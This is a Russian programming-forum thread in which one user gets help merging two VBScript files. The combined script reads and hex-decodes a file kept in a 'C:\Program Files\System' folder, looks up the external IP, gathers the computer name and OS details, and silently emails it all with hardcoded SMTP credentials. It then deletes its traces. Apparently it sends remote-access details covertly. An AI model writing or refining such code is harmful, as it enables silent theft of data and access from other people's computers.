kvitaliy обращаюсь к Вам по направлению

[oskol]

Здравствуйте, kvitaliy, мне Вас порекомендовали, как профессионального программиста, можете мне помочь в одном вопросе?!Я очень надеюсь, что ВЫ не оставите это письмо безответным!

[kvitaliy]

Сообщение от oskol

ВЫ не оставите это письмо безответным!

Письма в личку пишут!
На форум выносят конкретные вопросы, которые решает всё сообщество.
Так в чем вопрос?

[Desc]

kvitaliy, перед тем как дискуссировать с индивидом oskol, прочтите тему по ссылке
>> Как обьеденить 2 кода в один

[kvitaliy]

Нет тела кода нет дела

[oskol]

Вопрос такой, как мне объеденить код №1 с кодом №2, но так чтобы на почту приходил смс в виде текста как и сам ip приходит.(ото она у меня приходит как вложение txt)

Set ADODBStream = CreateObject("ADODB.Stream")
ADODBStream.Type = 2
ADODBStream.Charset = "Unicode"
ADODBStream.Open()
ADODBStream.LoadFromFile("C:\Progra m Files\System\id.txt") ' Тут исходный текст в Юникоде
Text = ADODBStream.ReadText()
ADODBStream.Close()
ADODBStream.Charset = "windows-1251"
ADODBStream.Open()
ADODBStream.WriteText(Text)
ADODBStream.SaveToFile "C:\Program Files\System\3.txt", 2 ' тут преобразованный в ASCII
ADODBStream.Close()


dim my_str, my_arr, index, list
Set FSO = CreateObject("Scripting.FileSystemO bject")
Set f = FSO.OpenTextFile("C:\Program Files\System\3.txt", 1)
On Error Resume Next

For i = 1 to 12
strn = f.ReadLine
Next
strn = Replace (strn, "(", "" )
strn = Trim (strn)

my_arr = split( strn, ",")
for each index in my_arr
strn = "&H" & index
list = list & CHR( strn)
next

f.Close

Set f1 = fso.CreateTextFile("C:\Program Files\System\3.txt", True)
f1.Write (list)
f1.Close


Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"


Dim strContent
strContent = ""

With WScript.CreateObject("Microsoft.XML HTTP")
Do
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText

if strContent >"" Then Exit Do
WScript.Sleep 15000 ' 15 сек. задержки если нет Интр
Loop until ( strContent > "" )
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent & vbCrLf & list
.TextBodyPart.Charset = "windows-1251"



With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "123dfds"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With

Set f2 = FSO.GetFile("C:\Program Files\System\3.txt")
' Удалить файлы
f2.Delete


WScript.Quit 0



с кодом №2

FileOut = "Z:\Box_Out\fileout.txt"

Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem")
Set colWMI = objWMI.Instances_

txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf

For Each objOS In colWMI
txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf
txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf
Next

' MsgBox txt

With CreateObject("Scripting.FileSystemO bject").CreateTextFile(FileOut, True)
.Write txt
.Close
End With

[kvitaliy]

Текст кода не рабочий. Мне ошибки выискивать нет ни желания, ни времени.
Упакуйте ваш реально рабочий код, который .vbs в ZIP архив и в упакованном виде выкладывайте сюда.

А если в дух словах, как сделать, что бы вместо файла отправлялся текст, то надо код 2 не в файл писать, а присоединить переменную txt к .TextBody из первого кода.

Т.е. как то так :
.TextBody = "External IP: " & strContent & vbCrLf & list & vbCrLf & txt

Предварительно код 2 выполнить вначале, ну без всяких строк, которые отвечают за запись в файл, только это:

Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem")
Set colWMI = objWMI.Instances_

txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf

For Each objOS In colWMI
txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf
txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf
Next

Но БЕЗ ОШИБОК!

[oskol]

kvitaliy, , высылаю вам скрипт весь код в архиве!

[kvitaliy]

Вот так пробуй

[oskol]

щас попробую и отпишусь

[oskol]

kvitaliy, ты просто элитный программист!!!
Хочу сказать что все работает, все четко нет слов, вот что значит профи своего дело!